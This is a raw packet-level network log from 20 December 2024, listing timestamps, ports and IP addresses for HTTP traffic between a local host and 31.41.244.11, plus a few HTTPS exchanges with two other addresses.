Dec 20, 2024 02:11:29.510557890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.510592937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.511146069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.511200905 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.511374950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.511430979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.511801958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.511861086 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.511957884 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.512013912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.512605906 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.512661934 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.512729883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.512797117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.513240099 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.513295889 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.513345003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.513402939 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.513978958 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.513995886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.514034986 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.514066935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.514708042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.514719009 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.514776945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.514776945 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.515356064 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.515403986 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.515414953 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.515451908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.515990019 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.516047001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.516215086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.516263008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.516774893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.516829967 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.516849995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.516902924 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.517389059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.517443895 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.517484903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.517539024 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.518166065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.518218040 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.518239021 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.518297911 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.518853903 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.518887997 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.518898964 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.518934011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.519509077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.519556046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.519594908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.519646883 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.520200968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.520250082 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.520284891 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.520334005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.520879030 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.520930052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.520992041 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.521040916 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.521575928 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.521620989 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.521657944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.521739960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.522361040 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.522372007 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.522413969 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.522429943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.522959948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.523010015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.523247004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.523289919 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.523751020 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.523802996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.523900032 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.523950100 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.524379969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.524429083 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.524508953 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.524555922 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.525115013 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.525125027 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.525162935 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.525796890 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.525851011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.525881052 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.525928974 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.526484966 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.526535988 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.526582003 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.526629925 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.527153015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.527204037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.527266979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.527319908 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.527941942 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.527952909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.528006077 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.528563976 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.528611898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.528709888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.528759003 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.529294968 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.529346943 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.529347897 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.529392004 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.529957056 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.530006886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.530086994 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.530133963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.530641079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.530689001 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.530751944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.530802011 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.531343937 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.531378984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.531394005 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.531433105 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.532069921 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.532080889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.532124996 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.532711983 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.532762051 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.654649019 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:29.654730082 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:29.654850006 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:29.657996893 CET	49882	443	192.168.2.5	172.67.179.109
Dec 20, 2024 02:11:29.658041954 CET	443	49882	172.67.179.109	192.168.2.5
Dec 20, 2024 02:11:29.688632011 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.688685894 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.688752890 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.688889980 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.688946962 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.689104080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.689151049 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.689763069 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.689810991 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.689920902 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.690440893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.690453053 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.690515041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.691005945 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.691055059 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.691149950 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.691199064 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.691721916 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.691776037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.691812992 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.691860914 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.692384005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.692437887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.692504883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.692553997 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.693094015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.693262100 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.693321943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.693769932 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.693825960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.693896055 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.693950891 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.694500923 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.694552898 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.694601059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.694658041 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.695183039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.695225000 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.695255995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.695274115 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.695947886 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.695960045 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.696000099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.696557999 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.696605921 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.696640015 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.696687937 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.697302103 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.697372913 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.697426081 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.698035955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.698048115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.698100090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.698688984 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.698749065 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.698759079 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.698811054 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.699353933 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.699414015 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.699466944 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.699513912 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.700092077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.700134039 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.700186968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.700705051 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.700757027 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.700809002 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.700860977 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.701407909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.701455116 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.701566935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.701700926 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.702150106 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.702193975 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.702204943 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.702248096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.703098059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.703109026 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.703159094 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.703264952 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.703442097 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.703533888 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.703577995 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.703586102 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.703596115 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.703622103 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.703640938 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.703648090 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.703674078 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.703727007 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.703742981 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.703792095 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.703799963 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.704231977 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.704272985 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.704287052 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.704317093 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.704957962 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.705003023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.705056906 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.705713987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.705768108 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.705845118 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.705898046 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.706309080 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.706368923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.706399918 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.706446886 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.707003117 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.707159042 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.707214117 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.707690954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.707737923 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.707741022 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.707791090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.708435059 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.708499908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.708528042 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.708539963 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.709192038 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.709203005 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.709240913 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.709256887 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.709836960 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.709887028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.709949017 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.710484028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.710534096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.710648060 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.710696936 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.710824013 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.710877895 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.710885048 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.711177111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.711232901 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.711297989 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.711457968 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.711879969 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.711971998 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.711980104 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.712136030 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.712565899 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.712610960 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.712702036 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.712747097 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.713293076 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.713340044 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.713402987 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.713445902 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.713954926 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.714176893 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.714226961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.714660883 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.714708090 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.714839935 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.714888096 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.715374947 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.715420008 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.715492010 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.715538979 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.716135979 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.716180086 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.716187954 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.716227055 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.716815948 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.716866016 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.716917992 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.717489004 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.717538118 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.717643023 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.717689037 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.718189955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.718235970 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.718306065 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.718355894 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.718947887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.718997955 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.719049931 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.719131947 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.719181061 CET	49883	443	192.168.2.5	172.67.209.202
Dec 20, 2024 02:11:29.719188929 CET	443	49883	172.67.209.202	192.168.2.5
Dec 20, 2024 02:11:29.719558954 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.719719887 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.719774961 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.720246077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.720415115 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.720467091 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.720949888 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.721005917 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.721009970 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.721122980 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.721736908 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.721757889 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.721800089 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.722315073 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.722362995 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.722479105 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.722522020 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.723045111 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.723094940 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.723160028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.723201990 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.723802090 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.723932028 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.723992109 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.724425077 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.724476099 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.724546909 CET	80	49875	31.41.244.11	192.168.2.5
Dec 20, 2024 02:11:29.724602938 CET	49875	80	192.168.2.5	31.41.244.11
Dec 20, 2024 02:11:29.725184917 CET	80	49875	31.41.244.11	192.168.2.5
